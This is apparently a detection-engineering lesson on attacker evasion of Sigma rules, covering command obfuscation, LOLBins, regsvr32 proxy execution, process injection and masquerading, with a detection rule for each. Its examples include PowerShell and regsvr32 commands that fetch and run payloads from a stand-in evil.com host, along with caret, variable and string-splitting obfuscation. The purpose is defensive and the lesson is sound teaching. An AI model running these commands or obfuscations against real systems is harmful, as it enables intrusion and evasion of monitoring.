Adversaries don’t stand still. Once a rule ships to production, sophisticated actors research and adapt their techniques to bypass specific detection patterns. This lesson covers the most common evasion categories, how each one breaks rules that aren’t designed to handle it, and how to write rules that are harder to defeat.
Category 1: Command-Line Obfuscation
Command-line obfuscation makes the visible argument string not match expected patterns while still executing the intended code. It’s cheap, automated, and breaks any rule relying on exact string matching.
Caret Escaping (CMD)
# Original (rule fires):
powershell.exe -EncodedCommand SGVsbG8=
# Obfuscated (rule doesn't fire for string patterns):
p^o^w^e^r^s^h^e^l^l.exe -^E^n^c^o^d^e^d^C^o^m^m^a^n^d SGVsbG8=
The ^ characters are processed and stripped by cmd.exe before the argument reaches PowerShell. Sysmon Event 1’s CommandLine field records the post-processing value on Windows 10+ — but this depends on Sysmon version and OS.
Environment Variable Substitution (CMD)
set "x=powershell" && %x% -enc SGVsbG8=
# Or via delayed expansion:
set "cmd=po" && set "cmd2=wershell" && !cmd!!cmd2! -enc SGVsbG8=
PowerShell String Concatenation
# Original:
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')
# Obfuscated:
$a = 'Net.' + 'Web' + 'Client'
$b = New-Object $a
IEX $b.DownloadString('http://evil.com/payload.ps1')
A rule checking CommandLine|contains: 'Net.WebClient' does not fire because the string is split across variables.
Character Code Substitution (PowerShell)
# [char] substitution for each letter:
IEX ([char]73 + [char]69 + [char]88 + ' (' + ...)
What Helps
- Target the outcome, not the string. Instead of
CommandLine|contains: 'Net.WebClient', detect PowerShell making a network connection: Sysmon Event 3 (NetworkConnect) from powershell.exe processes. - Use Script Block Logging (Event 4104) — PowerShell logs the decoded script block before execution, which reveals the real payload regardless of command-line obfuscation.
- Use the
|re:modifier sparingly — regex can handle some substitution variants but generates maintenance burden.
Category 2: LOLBins — Living Off the Land
LOLBins (Living-Off-the-Land Binaries) are Microsoft-signed binaries with built-in capabilities attackers abuse. Because they’re signed, signature checks pass. Because they’re legitimate, they appear in normal environments.
High-Value LOLBin Detection Targets
| Binary | Abuse Pattern | ATT&CK | Sigma Target Field |
|---|---|---|---|
certutil.exe | -urlcache -split -f http://evil/payload downloads files | T1105 | CommandLine contains -urlcache + URL pattern |
regsvr32.exe | /s /u /i:http://evil/payload.sct scrobj.dll executes remote SCT | T1218.010 | CommandLine contains /i:http |
rundll32.exe | javascript:... executes JS in process context | T1218.011 | CommandLine contains javascript: |
mshta.exe | http://evil/payload.hta executes remote HTA | T1218.005 | CommandLine contains http:// or javascript: |
bitsadmin.exe | /transfer downloads files in background | T1197 | CommandLine contains /transfer |
wmic.exe | /format: XSL transform executes arbitrary code | T1220 | CommandLine contains /format + URL |
Key insight: LOLBin detections require specific argument patterns, not just the binary name. certutil.exe runs legitimately for PKI operations; the attack-specific pattern is -urlcache combined with an external URL.
LOLBAS Project
The LOLBAS project (lolbas-project.github.io) catalogs every Windows binary with documented abuse potential. For each binary: the abuse function, the argument pattern, and example commands. Before writing a LOLBin detection, check LOLBAS for the full set of abuse variants for that binary.
# Covering multiple certutil abuse patterns:
detection:
selection:
Image|endswith: '\certutil.exe'
CommandLine|contains:
- '-urlcache'
- '-decode'
- '-encode'
- '-decodehex'
filter_normal:
CommandLine|contains:
- '-verify' # PKI certificate verification
- '-viewstore' # View certificate store
condition: selection and not filter_normal
Category 3: Signed Binary Proxy Execution (T1218)
Related to LOLBins but distinct: signed binary proxy execution specifically means using a trusted binary to execute code provided by the attacker, bypassing AppLocker or WDAC policies that block unsigned code.
# regsvr32 Squiblydoo:
regsvr32.exe /s /n /u /i:http://evil.com/payload.sct scrobj.dll
# This:
# 1. Downloads payload.sct from evil.com
# 2. Executes it via scrobj.dll COM registration
# 3. Runs code in the context of regsvr32.exe (signed binary)
# 4. Bypasses AppLocker rules allowing regsvr32.exe
Detection approach: These are high-signal because legitimate use of these binaries with remote URLs is extremely rare. The flag is:
detection:
selection_regsvr32:
Image|endswith: '\regsvr32.exe'
CommandLine|contains:
- '/i:http'
- '/i:ftp'
selection_mshta_remote:
Image|endswith: '\mshta.exe'
CommandLine|re: '.*(https?|ftp):\/\/'
condition: 1 of selection_*
Category 4: Process Injection (T1055)
Process injection is the most significant evasion of process-creation-based detection:
- Attacker process starts (may trigger a creation alert)
- Attacker injects shellcode into a legitimate running process (e.g., notepad.exe)
- Attacker process exits
- Malicious code now runs inside notepad.exe — no new process creation event
The injected code runs with notepad’s identity, token, and process name. Any rule looking for Image|endswith: '\evil.exe' sees nothing — the behavior is inside notepad.
Detection options:
| Sysmon Event | What it catches | Caveat |
|---|---|---|
| Event 8 (CreateRemoteThread) | Thread injection into remote process | Some legitimate processes do this |
Event 10 (ProcessAccess) with PROCESS_VM_WRITE | Classic injection: write → create thread | High FP from debuggers |
| Behavioral anomaly | notepad.exe making outbound connections | Requires baseline + anomaly detection |
# Detect CreateRemoteThread from suspicious sources:
logsource:
product: windows
category: create_remote_thread
detection:
selection:
TargetImage|endswith:
- '\svchost.exe'
- '\explorer.exe'
- '\notepad.exe'
- '\lsass.exe'
filter_legitimate:
SourceImage|contains:
- '\Microsoft\Edge'
- 'AdobeARM.exe'
condition: selection and not filter_legitimate
Category 5: Masquerading (T1036)
Attackers name malicious processes after legitimate ones:
svchost.exerunning fromC:\Users\Public\svchost.exe(notC:\Windows\System32\)explorer.exewith a parent that isn’tuserinit.exeorwinlogon.exe
Detection approach: Image path + expected parent:
detection:
selection:
Image|endswith: '\svchost.exe'
filter_legitimate:
Image|startswith:
- 'C:\Windows\System32\'
- 'C:\Windows\SysWOW64\'
condition: selection and not filter_legitimate
Or use OriginalFileName — this field in Sysmon Event 1 is extracted from the PE header, not the process name. A renamed svchost.exe shows the real original filename (e.g., nc.exe):
detection:
selection:
Image|endswith: '\svchost.exe'
filter_real_svchost:
OriginalFileName: 'svchost.exe'
condition: selection and not filter_real_svchost
LOLBAS Project— LOLBAS
T1218: Signed Binary Proxy Execution— MITRE ATT&CK
Invoke-Obfuscation— GitHub